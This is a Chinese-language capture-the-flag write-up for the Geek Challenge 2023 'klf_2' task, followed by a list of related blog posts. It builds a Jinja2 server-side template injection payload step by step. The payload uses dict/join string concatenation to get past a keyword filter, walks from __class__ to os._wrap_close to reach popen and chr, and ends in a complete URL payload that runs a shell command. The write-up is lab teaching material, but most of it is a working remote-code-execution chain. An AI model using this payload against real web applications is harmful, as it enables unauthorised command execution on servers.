[Geek Challenge 2023] klf_2详解

考点

SSTI、join拼接绕过

fuzz测试后发现过滤了很多关键字
在这里插入图片描述
我们先试试构造__class__

{% set po=dict(po=1,p=2)|join()%}  					 //构造pop
{% set a=lipsum|string|list|attr(po)(18)%} 			 //构造_
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}   //构造__class__
{% set cmd=cl%}
{
  {cmd}}   //调用

构造成功
在这里插入图片描述当我们添加过滤器attr后,修改为{% set cmd=()|attr(cl)%}
在这里插入图片描述
我们继续构造,查看下当前子类

{% set po=dict(po=1,p=2)|join()%}
{% set a=lipsum|string|list|attr(po)(18)%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set cmd=()|attr(cl)|attr(ba)|attr(su)()%}
{
  {cmd}}

在这里插入图片描述

复制一下,查找class 'os._wrap_close下标为17
在这里插入图片描述
由于我们fuzz测试后知道不能用[],那么我们用__getitem__()代替

{% set po=dict(po=1,p=2)|join()%}
{% set a=lipsum|string|list|attr(po)(18)%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set cmd=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)%}
{
  {cmd}}

找到os命令执行的模块
在这里插入图片描述

然后就是初始化返回可用函数,再一次__getitem__()去调用popen函数
我们重新定义pp为调用的popen函数

http://192.168.1.104:32774/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=lipsum|string|list|attr(po)(18)%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glo=a,bals=a)|join,a,a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{
  {pp}}

在这里插入图片描述然后就是如何构造命令,由于过滤了关键字,那么我们要先得到chr()函数
要利用到__builtins__模块以及join拼接的chr字符
也就是添加下面三句

{% set ch=dict(ch=a,r=a)|join%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}

继续构造命令,假设构造ls /app/
考虑到过滤了一些数字,用全角字符绕过

{% set l=dict(l=a,s=a)|join%}
{% set ap=dict(ap=a,p=a)|join%}
{% set ch=dict(ch=a,r=a)|join%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set sz=(l,chhr(32),chhr(47),ap,chhr(47))%}

除此之外还要构造read()

{% set re=dict(re=a,ad=a)|join%}

命令执行语句

{% set cmd=pp(sz)|attr(re)()%}

整理一下得到最终payload

http://192.168.1.104:32774/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=lipsum|string|list|attr(po)(18)%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glo=a,bals=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join%}
{% set l=dict(l=a,s=a)|join%}
{% set ap=dict(ap=a,p=a)|join%}
{% set re=dict(re=a,ad=a)|join%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set sz=(l,chhr(32),chhr(47),ap,chhr(47))|join%}
{% set cmd=pp(sz)|attr(re)()%}
{
  {cmd}}

成功读取目录
在这里插入图片描述

相关推荐

  1. KL散度、CrossEntropy详解

    2023-12-08 06:10:02       39 阅读
  2. openssl3.2 - 官方demo学习 - kdf - argon2.c

    2023-12-08 06:10:02       25 阅读
  3. 最全Hive面试题2024年(2万字详解

    2023-12-08 06:10:02       22 阅读
  4. 2024/2/2

    2023-12-08 06:10:02       30 阅读
  5. 作业2024/2/2

    2023-12-08 06:10:02       33 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-08 06:10:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-08 06:10:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-08 06:10:02       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-08 06:10:02       20 阅读

热门阅读

  1. FFmpeg开发笔记(六)如何访问Github下载FFmpeg源码

    2023-12-08 06:10:02       37 阅读
  2. C#:内存分配

    2023-12-08 06:10:02       33 阅读
  3. 关于Go语言的底层,Slice,map

    2023-12-08 06:10:02       34 阅读
  4. hbase

    hbase

    2023-12-08 06:10:02      26 阅读
  5. 华纳云:宝塔面板下配置Discuz伪静态的步骤

    2023-12-08 06:10:02       37 阅读
  6. debian11,debian 如何删除虚拟内存,交换分区

    2023-12-08 06:10:02       38 阅读
  7. el-table进行列的拖拽

    2023-12-08 06:10:02       32 阅读